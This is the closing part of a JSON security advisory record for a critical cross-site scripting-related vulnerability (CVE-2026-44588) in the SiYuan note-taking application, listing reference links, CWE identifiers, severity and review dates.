      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-25rp-h46x-2hjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44588"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-1188", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T19:08:30Z",
    "nvd_published_at" : "2026-05-14T19:16:37Z"
  }
}